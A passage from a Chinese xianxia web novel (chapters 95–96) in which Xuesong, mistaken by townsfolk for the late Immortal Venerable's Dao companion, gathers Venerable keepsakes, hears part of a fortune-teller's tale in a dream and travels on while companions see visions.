啧啧啧,不知道到时候仙尊会不会在天上急得团团转,哦,不对,仙尊已经被雪松复活了一点点魂魄了。
所以,真到了无可奈何的时候,其实是仙尊的残魂在雪松的身体里急得团团转,但什么也做不了?听起来更有意思了耶!
残魂若有所思:其实,用这种办法折磨人……感觉起来,也蛮不错的耶?只不过一般魔修并不用这种办法折磨人罢了。
雪松一开始这么做,肯定不是为了折磨仙尊,但谁又能说,仙尊在其中一定没有受到折磨的感受呢?
果然,有时候打败你的不是你的同行,而是你旁边的人!!!哈哈!哈哈!哈哈哈!!!
残魂一想到,仙尊的残魂可能也在附近,甚至受到比他更大的折磨,而且说不定到他解脱的时候,仙尊还没有得到解脱,甚至可能求而不得,只能看着自己的道侣,一点一点消磨自己,最后既不能好好过日子,也不能真的复活他,只能寿命耗尽而死,就觉得好好笑,好高兴!
而且,曾经也有传言说,仙尊的道侣应该是一个,每天待在仙尊的房子里转圈圈,给仙尊梳头发,扎绑带,穿衣服,套腰带,像天底下拥有最灵敏嗅觉的狗一样,每天在仙尊的身上闻来闻去,闻闻仙尊身上有没有留下自己的味道,闻闻仙尊身上是不是还残留着别人的气息,又像一个分开一时半刻就患得患失的,无法自控的,精神失常的病人一样,一边问仙尊什么时候回家,一边偷偷跟在仙尊身后,一旦被发现就装可怜,卖乖讨巧,说软话,于是被心软的仙尊带回自己的住处,每天晚上像那个饥肠辘辘的乞丐一样,抱着仙尊祈求饱腹,仙尊看在他们毕竟有关系的份上,纵容了他,他就开始得寸进尺,如同一条巨大的蠕动的网格蟒,试图把人吞入腹中去,至于究竟是为了果腹,还是为了填充他那无底洞的胃里简直是无来由的饥饿感,他和仙尊或许都清楚?
从前并不觉得仙尊真有什么道侣,所以听见这些传言也并不当真,现在见了仙尊的道理,再想起这些传言,心情就变得非常微妙起来了!
不管是第一种还是第二种,看起来都非常,符合雪松的情况,之所以这么说,是因为,雪松看起来就像是在仙尊活着的时候会对仙尊百依百顺的那种。
否则,很难解释,为什么仙尊活着的时候,他不见踪影,仙尊一死,他就出现了,难道不是因为,仙尊死后没有人能束缚他,所以他随心所欲起来了?恐怕就是这个原因呢!
这就符合了第一种情况!
其次,雪松在仙尊死后,就立刻不听仙尊活着的时候对他说的话,由此可见,雪松心里其实知道自己想要做什么,而不是漫无目的或者,完全毫无想法的百依百顺。
他和仙尊的关系真的那么亲密,他不可能不知道仙尊究竟想不想要复活,可他仍然按照自己想的做了,哪怕是违背仙尊。
能说他不爱仙尊吗?不见得。能说他的爱是多么温和,多么犹如潺潺流水,多么波澜不惊吗?恐怕只有最后一点符合。
因为他现在显然还没有放下复活仙尊的执念。那么,这就符合了第二条的传言了!这两条传言简直是照着他扒下来的!太神奇,太真实,太传神了!
如果没有对照,不知道的人听了传言也会不知道,如果知道了,那传言和雪松,就像是一面镜子和本人,但凡见过本人,再去看镜子,不会不知道镜子里照的是谁!
真不知道究竟是谁把传言传出来的!真是恐怖如斯!这么强大的观察力和语言组织能力,早晚会成功的!
残魂稍稍恢复平静之后,重新看向外面的雪松。
摊子已经收起来了,雪松正在一个房间里,隔着一个桌子,对面是在他路过时邀请他进来玩玩的城主。
城主一脸微笑,感谢他在摊子上帮忙,并询问他想要什么酬劳,同时暗示他:“我们这里居住环境很不错,对仙尊很崇拜,每天都会清理仙尊的雕像,巡查仙尊留下的遗迹,还有特制的仙尊玩偶!你有什么想要的小礼物吗?”
“你已经给过酬劳了。”雪松一脸平静拒绝说。他确实真的拿过了钱。
“那就当做是活动礼物吧?你真的没什么想要的吗?”城主眨巴着眼睛,充满期待,望着他,仍然问。
雪松垂着眼睛想了想:“那就给我仙尊的玩偶吧。”虽然自己拿自己的玩偶蛮奇怪的,但是别人又不知道他是仙尊,所以根本没有什么顾忌。
更何况,他还没有见过自己的玩偶长什么样子呢,来都来了,别人又愿意送,一分钱不出,为什么不拿呢?
反正,周围的人都觉得他是仙尊的道侣,那么,他拿一个仙尊的玩偶,是理所当然的事吧?没什么好惊讶的!他就要这个了!
雪松直勾勾注视着对面的城主,城主愣了一下,脸上闪过一丝失望的神色,可惜自己没能把他留下来。
毕竟从他的修为看,他也算是个人才,要是从他的外貌看,他和仙尊那么相似,也在城里绝对是用得上的。
不过既然他不想走,城主也不打算强迫,起身去旁边的抽屉拿出一个礼盒,放在桌上打开来给雪松看:“这个就是了,不知道你喜不喜欢?”
雪松伸出手去把玩偶从盒子里拿出来,那个玩偶有两个巴掌那么大,浑身上下毛茸茸的,是用十分柔软的布料制成的,里面填充了许多的棉花,蓬松极了,捏起来手感很好,而且确实很像仙尊,是萌化版的,梳着头发,穿着白衣,拿着剑,冷着脸,一副威风凛凛的样子,很可爱。
雪松很满意,把这东西放进了系统空间的格子,对城主感谢说:“我很喜欢,谢谢。”
看他满意,城主点了点头:“不用客气,那么在这里住一晚吗?”
雪松想了想,之前在外面奔波,十分危险,现在也算拿到了一些宝贝,用不着着急,既然如此,睡一晚上也没什么,也就答应了。
城主便给他和跟着他一起来的犀牛安排了房间,让人送他们去了。
雪松冷着脸跟着领路的人拿着仙尊玩偶向房间走去的样子,和第二条传言里仙尊道侣离开仙尊后对其他事毫无感知以及一心想要靠近仙尊的描述,根本就一模一样!
第95章
果然今天真让他撞上了!眼前这个雪松, 就是仙尊的道侣!
残魂想了想,突然又想到很久以前,有人给他看过一幅画, 说是自己曾经见过仙尊的道侣, 让他也跟着看看,以后看见了能认出来。
他虽然觉得好笑, 但心里好奇, 还是看了一眼,现在想起那幅画, 连忙透过身体往外看,看见雪松正在拉抽屉——
正好那幅画画的也是一个人, 背对着画者, 在拉抽屉, 现在一对比, 残魂立刻发现,根本就是一模一样的动作和姿态!
只不过那幅画上并没有画人脸, 看不见究竟长什么样子, 现在正在房间里拉抽屉的雪松,残魂是知道他长什么样的,不过可以调转一下视角,转到背后去看,那就更像了!简直是完全没有区别!
那么,不会有错了, 如果当初那个人画画的时候,真的见到了仙尊的道侣,那现在在他面前的,就是仙尊的道侣。
残魂现在有一种吃到大瓜的兴奋, 而且在封闭严密的屏障面前,知道自己夺舍成功,是不太有可能了,因此转到了探秘的方向,一边把自己脑子里的话投出来,一边兴致勃勃,向雪松问:“你见过这幅画吗?”
“没有。”雪松瞥了一眼,摇了摇头回答。
“知道吗?这是某个人给仙尊的道侣画的画!而你刚才拉抽屉的动作和画上的人一模一样!你有什么要说的吗?你不觉得这很值得惊讶吗?”残魂一边试图从他的脸上和识海中观察出什么,一边兴冲冲问。
雪松看见了那张新鲜从残魂的脑子里飘出来的图,没有什么兴趣,也不打算细看,回答说:“这没什么大不了的,拉抽屉也就那些动作。”
系统倒是仔细看看。
那幅画上,确实画着一个人,那个人拉抽屉的动作也确实和雪松一样,连衣服都是非常简单的白色款式,看起来很符合大多数人对仙尊道侣的印象。
毕竟仙尊是一个,在其他人眼里,和霭霭白雪差不多的人,那他的道侣穿白色衣服再正常也没有了,和他也很配。
画面上除了那个在最中心的人以外,还画了一些,旁边的东西,整个房间的布局,都非常像,雪松现在待的这个房间。
系统若有所思,向雪松问:“你觉不觉得这像是某种提前被人预知到的画面?”
“你是说有人拿仙尊去算命,算出了这种画,画了下来,所以动作和我一样,连房间布局也很像,画画的人还非常笃定我的身份?”雪松挠了挠头,坐在床上问。
“差不多。”系统点头回答。
“听起来我今天晚上可以期待一下,在梦中见到之前那个老人,问一问有没有这么一回事,毕竟,”雪松想了想说,“他一见面的时候可是说,他有一件和仙尊有关的事?”
系统肯定了他的说法:“是有这么一回事。”
“那我今天要早点休息了。”雪松躺在床上,拉起被子盖住,闭上了眼睛。
残魂见此情形,愣了一下,他专门把那幅画拿出来给雪松看,是想观察一下雪松的反应。
如果雪松感到惊讶,那或许会默认仙尊道侣的身份,如果雪松无动于衷,也许是早就知道有这么一幅画,而且见过,如果雪松感到羞涩或者悲伤,那这幅画说不定还和仙尊有关。
但是现在看来,雪松的态度很平静,还有点敷衍,不像是知道,也不像是不知道,倒像是无所谓,也不关心。这可真是奇怪了!
残魂重新观察了一下雪松,发现不对,一般人都会对仙尊道侣感兴趣的,毕竟这是一个很有讨论度的话题,大概很多人都猜测过。
只是从前大多数人可能都没猜对而已。但是雪松的反应不是那么回事。他真的好像一点都不感兴趣!莫名有种习以为常的感觉……
既然如此,也许是从前接触过太多相关话题,所以练出来了?那他怎么会接触那么多的相关话题?因为他就是本人?那就说得通了!
残魂摸摸自己的下巴,得出了结论,突然又想到,雪松这么平静,该不会有一部分是因为,马上要把他杀了,觉得反正他知道了也没有办法告诉别人,所以无所谓吧?
偏偏他现在在雪松的身体里,甚至是识海之中,屏障之外,一个既没有办法触及核心,造成真正的生命危险,又没有办法迅速逃离,来去自如的地方,真是给自己找了个坏位置!
想到这里,残魂从刚才吃到大瓜的兴奋里,抽离出来感到了萎靡不振,整个人缩成一团,好像晒干了被盘成一圈一圈的酸豇豆。
不愧是仙尊的道侣!面对要夺舍自己的残魂,都能这么平静,还能若无其事,把他放在这里,好像一点都不担心,实际上早就在心里暗中谋划要杀死他,以绝后患,不管是被夺舍的后患,还是被传播不想让其他人知道的隐秘的信息的后患?
残魂躺在地上,好像一个被人剪了绳子的晴天娃娃,一脸颓然,想到自己刚刚发现雪松是一个可以夺舍的对象的时候,有多么兴奋激动,再看看现在的情况,不由得深深叹了一口气,感觉自己倒霉。
因为雪松这个,看起来很像仙尊的人在摊子里,今天摊子的存货,出得异常快,把摊子收好之后的老板,在回家的路上,突然觉得自己应该去感谢一下雪松。
毕竟,从他的感觉来看,今天确实比从前的活动更加热闹,人也更多,如果不是因为雪松,他一时还真找不到别的原因。
于是他打听到雪松的住处,去敲了敲房间门,雪松打开门看着他,不知道他来做什么,毕竟事情好像已经在之前结束了。
他看着雪松却突然恍惚了一下,要知道,这里是遗迹之城,仙尊的塑像甚至就摆在广场,几乎家家户户都会有仙尊的画像。
他家里也有,就挂在墙上,自从仙尊死了之后,就每天上香,有空的时候顺便拜一拜,没空的时候路过也就打个招呼,好像家里多了个人,只是既不会说话,也不会走动,安静极了,还能有冥冥之中的保护作用。
他对那幅画很满意,那幅画是他亲自挑的,画像上的仙尊,就是一副平静看人的样子,和现在的雪松很像,毕竟他们长着一样的脸。
他之前只觉得雪松很像仙尊的,现在一看,不只是外表像,其实神态,和他家里的那幅画上的仙尊也很像。
于是他又不由自主想到了从前听过的,一则玩笑——
仙尊之所以没有道侣,是因为天底下没有人配得上他,他如果真有道侣,一定是个和他一模一样的。
“你找我有什么事吗?”雪松等了一会儿,对面没有讲话,因此他问。
对面眨了眨眼睛,笑了一下,点了点头说:“很像啊……”也不知道这话是对谁说的,又或者,究竟想到了什么场景。
雪松挑了挑眉,对面回过神来,连忙不好意思说:“我刚才想到了别的事情。”
“没关系。”雪松不是很在意。
他随口问:“你在想什么?”
对面愣了一下,更加不好意思说:“想起一些和仙尊有关的事……”他似乎在犹豫要不要说,张了张口,欲言又止的样子。
雪松阻止了他:“那和我没什么关系吧?”
对面眨了眨眼睛,又愣了一下,似乎没想到他会这样干脆利落,划清自己和仙尊之间的界限。
虽然仙尊已经死了,但活着的时候做的事情可多了,名声也不算烂,东西也不少,许多人都想和他攀上关系。
现在老板一看,有一个居然不怎么想和仙尊攀关系,还出现在遗迹之城里参加了纪念仙尊活动的人,不由得瞪大了眼睛,吃了一惊,一时没说出话来。
雪松把他上下看了,看见他手里拎着一个东西,向他问:“那是什么?”
他连忙把东西递了过去:“这是我想送给你的,来的路上买的,今天活动,街上到处都是这种东西,我想你可以带着当做纪念品。”
雪松把东西接了过去,有些好奇,低头一看,袋子里面是个盒子,因此问:“里面是什么?我可以现在打开吗?”
“可以可以,”对面点了点头,“这里面,是一幅仙尊的画像,我们这里差不多人人都有,我看挺好看的,希望你也喜欢。”
“谢谢。”雪松看了看那幅画,重意不重形,云雾飘渺之间,高山绝顶之上,皑皑白雪之中,孤身一人,侧身而立,手中持剑,目光似乎注视着云端之外,表情平静,神色中有些傲然,确实挺好看的。
不过,他一想到这里面画的是仙尊,就有一种在看自画像的诡异感,并不打算细看,收了起来,并下意识微笑,想要和画中的人区分开来:“那么要我送你出去吗?”
“不用了,不用了,”老板连忙摆手,他来送东西,不是来麻烦别人的,而且他敲门的时候,隔着门听了一下里面的动静,听得出来,雪松是从床上下来,大约不是准备休息,就是准备打坐,他过来已经打扰了,还要别人送出去,未免太不合适,“我自己走就行了,我认得路。”好歹他也是个本地人!
雪松点了点头,只是说:“那好,一路小心,再见?”
“再见。”老板点了点头,转身离开,顺着楼梯下去了。
与此同时,摊子里的其他员工正在家里聊天,因为本身就住得近,正好撞上吃饭,就干脆坐在一起,一边吃一边聊。
“白天那个新来的路过的人,是真的很像仙尊啊!”
“是啊,是啊,之前忙忙碌碌的,心思放在别的地方,还没那么觉得,只是以为,装扮得有些像罢了,也没什么大不了的,现在安静下来一想,他比从前那些装扮的,可是像多了!”
“不仅如此,我想起一个事儿,不知道你有没有想起?和我想的是不是一样?”
“也许我们想的是一样的呢!从前不是有人说,若有什么人一定配得上仙尊,除了仙尊自己就没别人了吗?”
“我想到的也是这个!咱们真是心有灵犀!其实他刚到的时候,我就隐隐约约想起这个事儿了,后来忙忘了,回来的时候又想起来了,就想找个时间跟你说呢!”
“你这么一说,我也想起来了,他刚来的时候,我第一眼把他看成了仙尊,第二眼就觉得他很配,第三次看他的时候,就觉得假如仙尊真有道侣,也许就是他这样的人呢!”
他们老板住他们旁边,路过他们门口,发现他们开着门在聊天,而且聊的是雪松的事,立刻就被吸引过去了,敲了敲门,插话道:“我说一句,其实他到摊子以前,他手上的两只镯子,让他看起来特别像是,道侣的那种气质!说不定我们遇上真的了?他也不是真路过,他就是蓄谋已久专门来的,只是不太好说明,不想给别人添麻烦,脸皮薄,就这样了。”
他从前老是听人说,有些修为很高的修仙者,找了道侣之后,就喜欢给人送点什么东西打点一下,让人一看,就知道这是别人的道侣,又不会太招摇明显,让人不好意思,显得仿佛是要什么似的。
他其实走在路上的时候才想起来这么一件事,对于雪松那种,表面路过,实际上是专门过来,试图接近仙尊留下痕迹的,疑似道侣的人来说,钱大概根本不重要。
重要的是,从各种方式,不着痕迹搜集,和仙尊有关系的东西,来填充自己的,感情和仓库。
所以他专门去送了那幅和仙尊有关系的画,心里的大石头落下了,好像办成一件大事,自己舒坦,对面也把东西收下了,悄无声息得了想要的东西,完全就是一箭双雕!
紧接着,他又想起雪松在他那里登记的时候写下的名字,以及写名字时,略有凝滞的笔,第一笔不显色的墨痕,书写时的迟疑,把握十足说:“据我观察,不会有错的。
他给的名字,也许是改过的,就为了纪念仙尊,让别人在看见他的名字的时候想到仙尊,把他和仙尊联系起来。
虽然不能明说,但可以暗示,既可以让人知道他们有关系,又不必多费口舌,十分符合那些修为很高的修仙者道侣的习惯。
他写名字的时候迟疑了,说明他记得自己的本名,下意识要写,但又改回来了。
那支笔在我用的时候是很好用的,但是落到他手里,就仿佛慢了一些,好像不好写,那究竟是他心有挂碍,还是那支笔不好,不是很明显的事吗?
还有,他写第一个字的时候,痕迹不是很明显,之后又明显了,说明他写第一个字的时候心不在焉,所以用的力少了一些,回过神来,加重了笔触,所以后面的字又显出来了,那他还能因为什么心不在焉呢?不就是因为他的名字和仙尊一样,所以他想到了仙尊才心不在焉吗?”
其他人一脸认真点了点头,觉得他说的很有道理。
虽然他们通常觉得一个人用仙尊的名字是很冒犯的,但是,如果那是仙尊的道侣,用来以示恩爱感情和关系深浅的,就另当别论了。
如果非要说他们需要做什么,那大概是纷纷献上百年好合的祝福吧?虽然人都已经死了,才来说这个,有点太晚了,但既然仙尊的道侣自己都没有改变想法,他们这些外人,又有什么可置喙的呢?说不定对方听见这样的话,反而会很高兴呢?
不过,考虑到仙尊的道侣并没有表明身份的意思,他们直接上去说这个,也有一些冒犯,他们只会在心底默默祝福,不会直接说出来的!
雪松关上门,重新看了一眼画,系统笑道:“其实挺好看的?”
“我也没说不好看。”雪松把画收了起来,丢掉了盒子和口袋,重新躺回床上。
他闭上了眼睛,周围一阵白雾袭来,他感觉自己站在了房间的中央,往周围一看,之前那个在梦中出现的老人,不知什么时候,已经也出现在房间里,正坐在桌旁,神色复杂,看着他,喃喃道:“没想到你用情如此之深……”
没过多久不见,床头柜上,就多了一幅仙尊的画像,这不是相思,这是什么?总不会是讨厌吧?
谁会把讨厌的人的画像放在自己床头柜上?生怕自己晚上做梦的时候看不见吗?还是担心自己起夜的时候,不会吓一跳啊?
雪松坐在床上,不是很想听清楚他究竟在说什么,直接问他:“你之前说有一件和仙尊有关的事情是什么?现在直接告诉我吧?还是不能说?应该不至于吧?”
毕竟如果是真的不能说,一开始就不应该提才对。总不能非要旁敲侧击,绕一大圈弯子,非要别人勉勉强强猜吧?那可麻烦!
老人回过神来点了点头:“是有那么一件事,直接告诉你?可以啊!没有不能说……”他停顿了一下,神色复杂起来:“只不过……”
“只不过什么?”雪松疑惑问。
“没什么,”他看起来像是想说天机不可泄露,但没有说出来,只是想了想,摇了摇头,接着回答,“如你所见,我是个算命的。”
雪松点了点头,老人又说:“从前有一个人找我算命,自称是认识仙尊的,要我算一算,仙尊究竟有没有道侣,我算不出来。
他觉得很可惜,又要我算一算,假如仙尊有道侣,可能长什么样子,我倒是算得出来这个,可是算出来准不准就不清楚了,他还要我画下来,我哪里画得出来!我可真没怎么学过画画!”
“那怎么办?”雪松问。
“他说有一个办法,”老人皱起眉头,脸色看起来有些不好,但还是说了下去,“让我试一试,问我愿不愿意,我让他告诉我再考虑,他就说了。”
“什么办法?”雪松若有所思,好奇问。
周围的白雾忽然散去,老人一下子不见了,雪松从床上坐起身来,左右看了看,房间里面已经空无一人,只剩下他自己了。
他伸手从床头柜上,拿下那幅卷起来的画,展开一看,和之前并没什么区别,便把这东西又收了起来,放进了系统空间格子里。
等他重新要躺下的时候,他忽然发现系统空间格子里,一个盒子正在动,拿出来一看,里面装的是会说话的鳄鱼。
鳄鱼左右看了看,发现他居然不在森林,而是在房间里,一时有些恍惚,但感觉到空气中熟悉的秘境的气息,又回过神来,因为知道他没有离开之前的位置太远,自己或许还有机会回去,而感到微妙松了一口气。
雪松坐在床上看着他,说出了和之前一样的话:“故事还没讲完呢!”
鳄鱼躺在地上,感觉自己陷入了一场无尽的循环,非要到死亡才能解脱,因为他现在听见雪松说那句话,就已经感到有点头痛了。
但他又想到之前的事,如果他不说,也许雪松真的会杀死他,在漫长而无聊的痛苦折磨和死亡之间,他想了想,他还是愿意活下去的,万一真有救呢?
抱着这种想法,他想起了之前的结尾,开始了衔接:“婴儿们爬到了大夫的门口,敲了敲他关上的门,他没有开,敲门声掩盖了从墙上跳下来的那个男人的落地声。
那个男人没有被发现,向着房间里走了过去,发现了尸体,大惊失色,紧接着发现了尸体并没有被接受治疗,感到愤怒。
他握着拳头想要找大夫的麻烦,循着声音找到了大夫的门口,发现了在地上的婴儿,愣了一下,把婴儿抱起来,仔细一看,突然觉得这婴儿不管是眼睛还是鼻子都十分像自己,便抱在怀中,轻轻拍了一下,哼着歌晃了晃,唱起了摇篮曲。
大夫本来听敲门声停了,还以为自己安全了,转眼又听见外面响起了摇篮曲的声音,打了个哆嗦,觉得这个门今天晚上绝对不能开,一定要撑到天亮,同时他已经开始寻找离开这个房间而不开门的办法了。
他可不想死。后来外面逐渐安静下来,他往门边靠了靠,听见外面传来了离开的脚步声,松了一口气,但又不敢现在上床去,怕床响,又把门外的人吸引过来,蹲在门口等了又等,觉得已经安静了,才爬到床上睡了,没有离开房间。
等到第二天早上,路过的人发现医馆的门是打开的,有些好奇发生了什么,就凑过去看,看见门口的那个病人已经不见了,地面上一滩血迹,密密麻麻的,最里面的病人已经躺了回去,就好像什么事情也没发生过。
有人去敲房间的门,大夫醒了过来打开门问,有什么事吗,敲门的人指了指地上的血迹问,昨天晚上发生了什么吗?
大夫看了一眼,虽然昨天晚上根本没出门,也不太清楚究竟发生了什么,但是脸上露出一个神秘莫测的微笑,十分镇定平静道,昨天晚上接诊了一个肠胃急病病人,来的时候吐了很多血,好不容易稳定下来就回家了,因为时间太晚,我就睡了,所以没来得及打扫,本来准备今天早上清理的,没想到让你们看见了。
众人虽然有些疑惑,但想了想,觉得他说的也不是没有可能,毕竟医馆收病人是很正常的事,有些人生病也不拘白天晚上,晚上生了急病,总不能不治,来了吐血也不算夸张,毕竟有些人送来就死了呢。
因此众人纷纷说,那就没事了,一边问他要不要帮忙,一边又问他的门是不是昨天晚上那个病人离开的时候没关好,他们来的时候看见门是开着的。
大夫想起昨天晚上墙头,好像有人跳下来的声音,又想到门口有人在敲门之后唱摇篮曲,听起来还是个男人,就微笑说,或许是家属离开的时候,光记得带上病人,忘了给我关门吧,幸好这里民风淳朴,没出什么事,大家放心吧,我这里鲜血淋漓的,一般小偷也不会来的。
众人这才放下心来,帮忙打扫起来,大夫对他们表示了感谢,顺便帮他们诊了病,还送了一些药,他们提着药出了门。
这个时候,大夫忽然听见,放在最里面的那具没有人认领的,早就已经死掉的病人的尸体,突然坐了起来——
他不算有钱,床也是普通的,用久了,很容易发出响声。
他此时就听见,床板嘎吱嘎吱响,被子稀稀索索往下掉,声音听起来很诡异,但又不算大,以至于他起了一身鸡皮疙瘩。
他不是很敢回头,立刻要跑,但忽然感到,眼前一黑,立刻失去了意识,等他醒来的时候,时间已经来到了黄昏,而他的手里正捏着一张纸,他把那张纸展开——”
鳄鱼砰的一声睡着了。
雪松把他重新放回盒子里,看了一眼天色,感觉还有些时间可以休息,也躺在床上睡了,时间很快来到了早上。
他醒了过来,收拾东西准备离开,突然想起来,忘了残魂的事,就看了一眼,发现那魂魄蜷缩在一块,根本没有醒来的意思,正在逐渐虚弱,颜色越发暗淡透明,没什么威胁的样子,就对系统说:“交给你看着了?”
系统点了点头:“好啊!”
雪松出了门,和犀牛一起,离开了遗迹之城,掏出了龙骨指针,发现不远处又是一片密林,林子上长满了密密麻麻的红色果实。
那些果实十分饱满,娇艳欲滴,散发着浓浓的香气,使人垂涎欲滴,犀牛不由自主抬起手擦了擦嘴角,向雪松说:“我们过去尝尝吧?”
雪松虽然疑心这东西有毒,但是,丢了一个鉴定术,发现,这东西不仅没毒,而且可以提升修为,就连果核,也可以洗净之后,作为材料制成丹药,只是会有微弱的致幻效果,一段时间之后自己就消退了,就点了点头,和犀牛一起过去,一人摘了一只果子吃了。
犀牛吃了果子之后,整个人散发出一种刚发酵好的酒的气味,晕头晕脑走了两步,扑通一声摔在地上,四肢发软,抱着树干爬了一下,没站起来,叹了一口气,重新躺了回去,像一只疲惫的树懒一样,睁着眼睛面色发红,呆呆发出笑声。
这应该是果肉里的致幻效果正在发作。
雪松往周围看了看,周围没有人,也许还算安全,他吃掉了手里的果子,等着幻觉发挥作用,却没感觉到什么,就好像那效果太微弱了,对他没有什么用处一样。
这也算是好事,他想了想,也就不再在意,而是在旁边等着犀牛醒来。
犀牛躺在地上,幻觉让他看到了雪松和仙尊,仙尊也不知道是什么时候来的,只是从树林深处走了出来,提着剑一脸严肃的样子,见到了雪松之后,神色立刻柔和了许多,完全忽视了站在旁边的犀牛,三步并作两步,直接向着雪松走了过去。
犀牛站在旁边眨了眨眼睛,悄悄往后退了一步,一脸好奇看着他们,只见仙尊走到雪松面前停了下来,将他打量一番问:“没事吧?”
雪松摇了摇头,脸上浮起微笑,也用一种前所未有的温和的神色,注视着面前的仙尊问:“你呢?”
仙尊微笑道:“没事。”
他顿了顿,又像是一个刚刚谈恋爱的毛头小子一样,补充道:“谁能伤得了我呢?”
犀牛在果实致幻的效果下,忘记了仙尊已经死掉的事情,但听见这句话还是下意识心中一惊,往左右看了看,仿佛有人会突然从阴影中冲出来偷袭一样,不过没看见什么人,心中提起的石头微微落下,低声喃喃自语:“也对,天底下谁能比仙尊更厉害呢?”
话是这么说,他说完之后,反而觉得心里更加不安,只能重新看向仙尊,希望能够心情平静,就像是不及格的时候,望着墙上的奖状发呆。
“你怎么在这儿?”这一次开口的是雪松,他一边伸手,十分具有家属感,折了折仙尊的衣领,一边望着仙尊好奇问。
仙尊站着不动,任由他动作,虽然脸上的表情没有太大变化,但心情似乎很是愉悦,整个人的气质都比之前柔软了很多,微微笑道:“我来找你。”
犀牛感觉自己从仙尊的身上看出了,沉浸的幸福感。
“难道我连秘境也不能过?”雪松收回手去,看了他一眼,似笑非笑道。
“不是,”仙尊悄无声息拉住了他的手,用一种完全不像是本身所能拥有的灼热的目光注视着雪松,语气仍然平静,“我只是想和你在一起。”
“是吗?”雪松慢悠悠笑着问。
“是的,我一想到你可能出事,我就担心得不得了,哪怕我知道,也许你并不会,”仙尊握着他的手,脸上出现了患得患失的神色,比之前的任何表情都清晰明了,缓缓说,“我不能有一刻停止想你,所以我来了,因为我绝对不要失去你,我承受不起那样的痛苦。”
他拉着雪松的手靠近自己的胸膛,一脸认真,身上难得弥漫出一种如同碎玻璃般的脆弱,恳求道:“请不要离开我,永远不要。”
雪松挑了挑眉,拍拍他的胸膛,微笑道:“我知道了!”
“醒醒……醒醒……”
雪松见犀牛总是醒不过来,担心他出什么事,摇晃了他一下,对他喊道。
他眨了眨眼睛,勉强从幻觉中清醒过来,看不见那个不存在的仙尊了,但脑子还没转换过来,以为刚才的事是真的,开口问:“仙尊怎么没和你在一起?”
雪松听见他说这样的话愣了一下,转头左右看了看,实在没看见哪里有什么东西,看起来像仙尊的,一脸疑惑问:“你说什么?”
毕竟,雪松怎么想也想不到,犀牛看见的幻觉不和自己有关,和他有关,还会联想到,根本不在这里的仙尊,还是一如既往的,把他和仙尊联系在一起。
犀牛眨了眨眼睛,逐渐清醒了,从地上爬起来,往周围看了看,没有看见别人,意识到自己刚才看见的都是幻觉,莫名有些失落,心里叹了一口气,语气低沉说:“不好意思,可能是我出现幻觉了,这些果子真厉害!又能吸引人去吃它们,又能让人出现幻觉,我一时没有防备着了道了,你就当我刚才什么也没说过吧!”
他一边这样说,一边在心里想,要是仙尊还活着,在这见了雪松,也许,他们见面的时候,真的会像他刚才看见的那样?只是可惜,人死如灯灭,仙尊不会再回来了。
他想到这里不由悲从中来,眼睛一眨就掉起泪了,喉咙里发出抽泣声,连自己都没料到,神色一惊,立刻用双手捂住了喉咙,仿佛这样就可以阻止声音从里面发出来一样。
“你还好吗?”雪松有些狐疑看着他,将他上下打量一番,不知道他这是怎么了,之前没看出来,吃掉了果子还会突然难过啊?
“没事,”他捂着喉咙干咳了两声,假装自己是没调整过来,擦了擦眼泪,微笑道,“我就是嗓子有点不舒服,现在已经好了!”
雪松将信将疑,点了点头,想要继续问下去,又觉得没必要了解那么多,万一不小心问到自己不想知道的就不好了,沉默了一会儿说:“那我们往外走吧?看看别的地方还有什么?”
犀牛点了点头,迅速同意了,很希望他能拉开注意力,不要再关注刚才发生的事。
雪松一边往外走,一边察觉了他的态度变化,便顺理成章不再问什么,不过,之后的运气就没那么好了,遇到各种各样有毒的东西,或是植物,或是动物,或是尸骨,都没什么大用,只是耗费了时间。
二人便停下来休息。
与此同时,已经强行把大蚯蚓拉回泥潭的小蚯蚓,让大蚯蚓站在泥潭旁边,自己一头扎了进去,发誓非要找到雪松在泥潭里面留下的,他们没有发现的,观察他们的法术痕迹不可。
大蚯蚓双手抱在胸前,叉着腿站在旁边,觉得他根本是发了疯,说出来的话,颠三倒四的,做出来的事也奇奇怪怪,根本没有什么可信度。
也许是进去之后就被吓着了,早知道不该把事情交给他,但还是没说什么,只是看着,毕竟之前已经说了很多了。
他一个字都没听进去,现在再说什么,也不过是徒费口舌罢了,让他找就是了,他自己在里面翻一遍,什么都翻不到,就该知道,他根本是被吓破了胆子,猜测的所有事情都是不存在的,到时候再跟他说一些什么,也许他听得进去?
毕竟他们本为一体,大蚯蚓看在对方根本没活多久的份上,勉强容忍了对面的无理取闹。
但是他没想到,找了好一阵子之后,小蚯蚓还真的,在泥潭里面找出了,雪松的气息的残留,聚集在一起,流光溢彩,如同珍珠,被他托在手上,当做证据,举了起来,对大蚯蚓喊道:“我找到了!你看!这个就是!”
大蚯蚓无可奈何,而且觉得荒谬,但看他如此信誓旦旦,又忍不住问:“你怎么证明这不是,他意外遗留下来的,而是法术的痕迹呢?”
“我可以证明!”小蚯蚓一边喊一边向他跑去,对他说:“你看这个东西,和我有气息牵扯,这绝对是用来偷窥我们的!”
随着小蚯蚓越跑越近,大蚯蚓也感觉到了,那一团东西还真和他有牵扯,相信了小蚯蚓的话,握着拳头,愤怒骂道:“可恶!不仅摘掉我的雪莲花,莫名其妙丢过来一个敌人,害得我的泥潭不安宁,还用法术偷窥!”
他一拳锤了出去,泥潭翻滚,飞出一片干瘪的叶子。《 》
95-100
第96章
小蚯蚓看着那片从泥塘里面飞出来的叶子, 忽然眯了眯眼睛,感觉不对,毕竟刚才那一拳不是随便打的, 是很愤怒的情况下, 用了很大的力气,以及一些法术波动才造成的。
在这种情况下, 那片叶子怎么可能这样完整, 早就应该在冲击波里面碎成粉末才对!难道这也有问题?
他心中一惊,立刻伸出手去, 用了个办法,把那叶子召回手里, 定睛一看, 立刻看出了端倪, 迅速用手一捏, 把里面的一颗眼珠拆了出来,大为愤怒道:“可恶的东西!”
大蚯蚓皱着眉头很不高兴, 冷冷看向他问:“又怎么了?”
他连忙跑到大蚯蚓身边, 双手把那片叶子的残余和手里的眼珠子递了过去,急急说:“你看这个!这一看就是用来偷窥我们的!不知什么时候在里面!说不定比那些气息来的时候还早呢!”
大蚯蚓伸手把珠子接了过去,咬牙切齿骂道:“这东西我认识!秘境被打开之前,有一头野猪从这里路过,我猎杀了那头野猪,吃掉了尸体, 保留了眼珠作为战利品,没想到,这居然是用来偷窥我们的东西!看来还是太失算了!居然没料到他们那么早就开始布局!应该更谨慎一些的!”
他说着,手上一用力就把那眼珠子捏碎了, 往外一扬,眼珠的碎块就掉进了泥潭里,小蚯蚓望着他问:“那我们之后怎么办呢?”
